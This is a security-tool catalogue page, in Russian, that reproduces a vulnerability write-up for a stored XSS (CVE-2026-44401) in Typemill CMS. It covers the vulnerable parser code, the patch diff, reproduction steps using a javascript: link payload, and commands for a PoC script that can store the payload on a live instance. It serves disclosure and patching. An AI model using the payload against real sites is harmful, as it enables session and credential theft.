Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/sn0x-sharma/cve-2026-44401
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubsn0x-sharma/cve-2026-44401

CVE-2026-44401

Постоянный XSS в Typemill CMS: парсер Markdown пропускает javascript: URI без фильтрации. Writeup + PoC.

Репозиторий
2229 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Изображение ChatGPT, 11 авг. 2026 г., 02_18_30 PM
CVECVE-2026-44401
CWECWE-79 (Неправильная нейтрализация ввода при генерации веб-страницы)
Затронутоtypemill/typemill >= 2.0.0, < 2.23.0
Исправлено вv2.23.0 (коммит 31b72ea)
Требуется аутентификацияДа, любая роль с правами ACL system:update (по умолчанию admin или manager)
CVSS (автор отчёта)7.6 / Medium-High
CVSS-B (VulnCheck, v4.0)4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L
Автор находкиsn0x (@sn0x-sharma)
УведомлениеVulnCheck

Оценка Medium, а не Critical, потому что требуются PR:H (привилегия настройки темы) + UI:A (жертва должна кликнуть по ссылке) — но полезная нагрузка хранится на сервере, поэтому она срабатывает для каждого посетителя, который кликнет по ссылке.

Краткое описание

Typemill — это flat-file Markdown CMS. Его Markdown-парсер не проверяет схему URI ссылок перед записью в атрибут href. Пользователь с доступом к настройкам темы (например, текстовое поле Landingpage Intro Segment, которое принимает «сырой» Markdown) может сохранить ссылку javascript:. Она отображается без экранирования на публичной главной странице и выполняется в браузере любого, кто по ней кликнет, — постоянный (stored) XSS.

Первопричина

ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, строки 934–996 (v2.22.0, последний уязвимый тег).

Относительные ссылки и ссылки media/ получают префикс базового URL, но ничто не проверяет схему URI перед её присвоением атрибуту href:

root@kitploit:~
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
    $href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
    $href = $this->baseUrl . '/' . $href;
}
# end typemill

$Element['attributes']['href'] = $href;   // <-- no scheme validation

[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.

Путь рендеринга для этого конкретного стока: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. Любое другое поле темы, которое пропускает пользовательский Markdown через тот же парсер, подвержено атаке в равной степени.

Исправление (v2.23.0)

root@kitploit:~
              # end typemill
-
+
+             # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+             $scheme = parse_url($href, PHP_URL_SCHEME);
+             if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+             {
+                 $href = '#';
+             }
+
              $Element['attributes']['href'] = $href;

Тот же список разрешённых схем (http, https, mailto, ftp) был предложен в исходном отчёте. Подтверждено сравнением ParsedownExtension.php между тегами v2.22.0 и v2.23.0.

Примечание о привилегиях

Маршруты настроек темы (GET /tm/themes, POST /api/v1/theme) ограничены ресурсом ACL system/update — согласно собственным определениям маршрутов Typemill (routes/web.php, routes/api.php) это право по умолчанию предоставлено роли manager, а не только admin. Таким образом, зона поражения не ограничивается учётной записью администратора верхнего уровня.

Шаги воспроизведения

  1. Войдите как пользователь с доступом к настройкам темы → System → Themes → Configure (активная тема, например Cyanine).

    изображение
  2. Разверните Landingpage Intro Segment → в поле "Text for your landingpage intro (use markdown)" введите:

    root@kitploit:~
    [Click me](javascript:alert(document.domain))
    
    изображение
  3. Сохраните. Откройте главную страницу под любым пользователем и кликните по ссылке → JS выполнится в сессии этого посетителя.

    изображение

Доказательство концепции (PoC)

CVE-2026-44401_POC.py — два режима:

root@kitploit:~
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill

# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html

# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
    --username admin --password '********'

Минимальный ручной повтор (именно так отчёт был проверен):

root@kitploit:~
php -r '
  require "vendor/autoload.php";
  require "system/typemill/Extensions/ParsedownExtension.php";
  $p = new \Typemill\Extensions\ParsedownExtension("",[],null);
  echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched:    <p><a href="#">x</a></p>

Воздействие

  • Перехват сессии администратора/менеджера (кража cookie)
  • Кража учётных данных через внедрённые формы/редиректы
  • Развитие атаки до дальнейших авторизованных действий от имени жертвы

Ссылки

  • Репозиторий Typemill
  • Исправляющий релиз — v2.23.0
  • Уведомление VulnCheck
Скачать инструмент